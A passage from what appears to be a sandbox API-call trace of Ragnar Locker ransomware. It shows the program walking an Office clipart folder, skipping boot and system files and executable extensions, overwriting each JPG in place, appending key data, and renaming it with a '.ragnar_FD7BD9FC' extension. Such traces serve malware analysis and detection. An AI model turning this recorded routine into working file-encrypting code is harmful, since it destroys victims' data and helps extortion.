Office\\CLIPART\\PUB60COR\\J0309480.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1 [0087.617] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.617] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309567.JPG" | out: lpString1="J0309567.JPG") returned="J0309567.JPG" [0087.617] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG") returned=".JPG" [0087.617] lstrcmpiW (lpString1="J0309567.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="autorun.inf") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="boot.ini") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="bootfont.bin") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="bootsect.bak") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="bootmgr") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="bootmgr.efi") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="bootmgfw.efi") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="desktop.ini") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="iconcache.db") returned 1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="ntldr") returned -1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="ntuser.dat") returned -1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="ntuser.dat.log") returned -1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="ntuser.ini") returned -1 [0087.618] lstrcmpiW (lpString1="J0309567.JPG", lpString2="thumbs.db") returned -1 [0087.618] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.618] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.618] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.618] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.618] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.618] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.618] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg")) returned 0x20 [0087.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.619] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21580) returned 1 [0087.619] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5443, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.619] GetProcessHeap () returned 0x580000 [0087.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.619] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.621] VirtualAlloc (lpAddress=0x0, dwSize=0x544c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.621] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x544c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x544c, lpOverlapped=0x0) returned 1 [0087.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.622] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x544c, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.622] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x544c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x544c, lpOverlapped=0x0) returned 1 [0087.622] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x544c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.622] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x544c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.622] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.622] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.622] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.622] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.623] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.623] GetProcessHeap () returned 0x580000 [0087.623] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.623] CloseHandle (hObject=0xf4) returned 1 [0087.623] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" [0087.623] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.ragnar_FD7BD9FC" [0087.623] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1 [0087.623] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.623] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309585.JPG" | out: lpString1="J0309585.JPG") returned="J0309585.JPG" [0087.623] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG") returned=".JPG" [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="autorun.inf") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="boot.ini") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="bootfont.bin") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="bootsect.bak") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="bootmgr") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="bootmgr.efi") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="bootmgfw.efi") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="desktop.ini") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="iconcache.db") returned 1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="ntldr") returned -1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="ntuser.dat") returned -1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="ntuser.dat.log") returned -1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="ntuser.ini") returned -1 [0087.624] lstrcmpiW (lpString1="J0309585.JPG", lpString2="thumbs.db") returned -1 [0087.624] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.624] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.624] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.624] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.624] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.624] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.624] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg")) returned 0x20 [0087.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.625] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=39563) returned 1 [0087.625] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9a82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.625] GetProcessHeap () returned 0x580000 [0087.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.625] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.626] VirtualAlloc (lpAddress=0x0, dwSize=0x9a8b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.626] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9a8b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9a8b, lpOverlapped=0x0) returned 1 [0087.628] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.628] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9a8b, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.628] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9a8b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9a8b, lpOverlapped=0x0) returned 1 [0087.628] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9a8b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.628] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.629] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9a8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.629] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.629] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.629] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.629] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.629] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.629] GetProcessHeap () returned 0x580000 [0087.629] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.629] CloseHandle (hObject=0xf4) returned 1 [0087.629] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" [0087.629] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.ragnar_FD7BD9FC" [0087.629] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.630] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1 [0087.630] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.630] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309598.JPG" | out: lpString1="J0309598.JPG") returned="J0309598.JPG" [0087.630] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG") returned=".JPG" [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="autorun.inf") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="boot.ini") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="bootfont.bin") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="bootsect.bak") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="bootmgr") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="bootmgr.efi") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="bootmgfw.efi") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="desktop.ini") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="iconcache.db") returned 1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="ntldr") returned -1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="ntuser.dat") returned -1 [0087.630] lstrcmpiW (lpString1="J0309598.JPG", lpString2="ntuser.dat.log") returned -1 [0087.631] lstrcmpiW (lpString1="J0309598.JPG", lpString2="ntuser.ini") returned -1 [0087.631] lstrcmpiW (lpString1="J0309598.JPG", lpString2="thumbs.db") returned -1 [0087.631] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.631] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.631] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.631] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.631] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.631] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.631] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg")) returned 0x20 [0087.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.631] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33264) returned 1 [0087.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.631] GetProcessHeap () returned 0x580000 [0087.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.631] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.633] VirtualAlloc (lpAddress=0x0, dwSize=0x81f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.633] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x81f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x81f0, lpOverlapped=0x0) returned 1 [0087.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.635] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x81f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.635] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x81f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x81f0, lpOverlapped=0x0) returned 1 [0087.635] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x81f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.635] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.636] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.636] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.636] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.636] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.636] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.636] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.636] GetProcessHeap () returned 0x580000 [0087.636] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.636] CloseHandle (hObject=0xf4) returned 1 [0087.636] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" [0087.636] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.ragnar_FD7BD9FC" [0087.636] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.637] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1 [0087.637] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft 